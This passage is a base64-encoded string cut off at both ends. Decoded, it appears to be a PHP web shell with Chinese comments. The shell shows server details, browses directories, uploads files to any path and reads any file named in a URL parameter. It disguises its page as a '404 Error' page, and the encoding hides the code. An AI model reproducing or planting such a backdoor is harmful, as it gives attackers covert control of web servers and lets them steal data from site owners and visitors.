mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXN